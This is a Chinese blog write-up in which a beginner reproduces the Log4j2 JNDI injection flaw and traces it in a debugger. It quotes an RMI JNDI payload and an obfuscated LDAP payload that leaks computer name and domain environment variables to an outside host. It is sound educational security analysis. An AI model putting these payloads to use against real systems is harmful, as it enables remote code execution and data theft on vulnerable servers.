Log4j2 漏洞复现
刚入门web安全,简单分析了下之前比较火的Log4j2漏洞,当然肯定有些地方还是没有理解到位的。
什么是Log4J
log4j是Apache的一个开放源代码的项目,通过使用log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
简单来讲就是记录日志的一个框架,使用比较广,功能比较多,比较方便。
然后我自己也尝试去用log4j-1.2.17.jar去使用下这个日志打印,但是没能成功,无论怎么配置总是会出现。
log4j:WARN No appenders could be found for logger (MyTest).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
但是对漏洞分析并没什么影响。
具体配置Log4J环境的文章可以看看这三篇文章,介绍得比较详细。
Log4j2 原理
Log4j2的Lookups
正常我们使用Log4j2打印日志,如下。
1 |
|
但是如果我们将name修改一下,成为{$java:os},结果就会改变。
1 |
|
而照成这一原因就是Log4j2的Lookups功能,也就是查找功能,类似于一个字典,可以根据key来找到value。
并且提供Jndi Lookup,如下。
更多Lookup,参考官方文档,https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
JNDI注入+RMI
然后我们来看看一个playload:${jndi:rmi:192.168.9.23:1099/remote},我们需要知道
为什么playload是这个样子,这实际上这将设计到java安全的知识了,由于没有java经验,在看了很多文章后,只能简单总结下。
JNDI概念
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
以上是一段百度wiki的描述。简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件,从而保持数据库代码不变动等。
主要就是JNDI注入+RMI
先看一段常见JNDI注入+RMI代码。
1 |
|
可以看到,如果uri设置成这样,客户端就可能就可能会被攻击,原因是我们加了个rmi(远程方法调用 RMI),代表可以运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法,所以只要我们设置好服务端的恶意方法,客户端就会去执行他,而这个过程就又设计到了JNDI的LDAP服务等一系列操作。
而Log4j2漏洞就是利用了其提供了提供Jndi Lookup,而且如果我们能够控制输入的name时,就可以进行利用,简单理一下流程。
- 我们控制输入,输入playload:${jndi:rmi:192.168.9.23:1099/remote}
- 然后Log4j2打印日志时,使用logger.info(“{}”, name);
- lookup解析jndi,客户端远端调用服务端的恶意方法(实际上这一过程比较复杂,需要对java安全有比较深入的了解)。
参考文章:Java安全之JNDI注入,Log4j2注入漏洞万字剖析-汇总收藏版,Log4j2原理
特别是第二篇文章,详细的介绍了LDAP方式的利用过程及原理,对过程非常详细,还有图片流程。
Log4j2 复现
配置环境
我这里是直接下载了网上找的一个demo,相当于已经配好了环境,只是需要更改下jdk版本,jdk环境为jdk1.8.0_91。
然后来看看demo的代码。
攻击服务端,主要就是利用Reference包装了一个恶意类,然后注册到了我们指定的远端服务器,也就是127.0.0.1:1099。
1 |
|
恶意类,我们如果去创建一个EvilCode对象,也就是new EvilCode(),就会弹出计算器,就相当于构造函数了,一旦创建,就会执行。
1 |
|
客户端,log4j2的日志记录引发漏洞。
1 | import org.apache.logging.log4j.LogManager; |
调试过程
先运行RMIServer,启动攻击服务,然后调试log4j。
context.lookup
logger.error()f7步入后,经过调试很长一段,找到了匹配${}的地方。
主要是这里的toText()
跟进toText(),跟到toSerializable(),会发现个for循环,其实是在看属于什么事件,是debug还是error,当i=8时,也就是我们这个样本使用的,即logger.error()。
当i=8的时候步入,然后步入fomat,发现在匹配${,然后返回去掉${}的playload。
接下来步入replace(),然后跟到substitute()的this.resolveVariable(event, varName, buf, startPos, pos);
在调试几步就到了log4j2的lookup方法,这部分会根据字符‘:’的前面部分字符串从strLookupMap中判断是什么lookup,然后调用对应的Lookup方法。
接下来调试JndiLookup(),return var6的时候f7步入,可以发现实际上是调用了this.context.lookup(name);
补充一点,上面的srtlookup包含“:-”分割jndi的方式,所以能看到${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk
的一些playload,是因为::- 前面的数据会直接丢弃。
原文链接:https://blog.csdn.net/qq_42322144/article/details/121922084
reference:http://www.ch4ser.top/2021/12/11/log4j2-jndi/
jndi注入
下面的过程就是jndi注入的过程了。
这里需要强制步入this.context.lookup(name);,先是会进入getURLOrDefaultInitCtx(),这一步呢主要就是为给定的 URL 方案 ID 创建一个上下文,这个方案id就是getURLScheme返回的字符,也就是rmi或者ldap等,getURLContext()官方文档,主要感觉就是返回对应的类型,以便后面确定对应的方法函数。
继续跟进,会发现又调用一个lookup的实现方法。
跟进getRootURLContext会发现,其实这个函数就是在解析我们的upl,ip和端口以及未能解析的部分,并返回一个ResolveResult的类来表示名称解析的结果。Class ResolveResult
函数返回后我们看var2,可以发现 remainingName=”evil”,也就是未能解析的部分。
接着会调用getResolvedObj来检索解析成功的对象,也就是ip和port给到var3。
紧接着,又会将var2作为某个lookup的方法的参数,执行lookup函数,跟进这个lookup函数,发现又将会调用一个lookup方法,并且在最后解密一个对象。
跟进RegistryImpl_Stub()的lookup,这里好像调试不了,但是通过官方文档可以知道,这是在返回绑定到此注册表中指定的远程引用,也就是我们在攻击服务端注册的远程对象。java.rmi.registry
接下来跟进decodeObject(var2, var1.getPrefix(1))
f7步入,跟到这个地方会发现,所以getReference就是在获取我们之前用Reference包装的那个恶意类,并返回给了var3。
紧接着,调用getObjectInstance(),使用位置或引用信息以及指定的属性创建对象,getObjectInstance。
跟进getObjectInstance看看,究竟是如何执行的。
这里我们先了解一个名词Codebase:简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。https://blog.csdn.net/bigtree_3721/article/details/50614289
然后再看看ObjectFactory,https://www.runoob.com/manual/jdk11api/java.naming/javax/naming/spi/ObjectFactory.html
然后跟进这个函数,会发现有个loadclass函数。
最后如果一步步跟loadclass就会发现代码将跑到我们的恶意类那里去。
reference:jndi注入调试
总结
这个漏洞其实主要还是jndi注入,Log4j2只是恰好提供了jndi的lookup,漏洞分析过程中也是查询和借鉴了大量的文章,也算是学到了很多。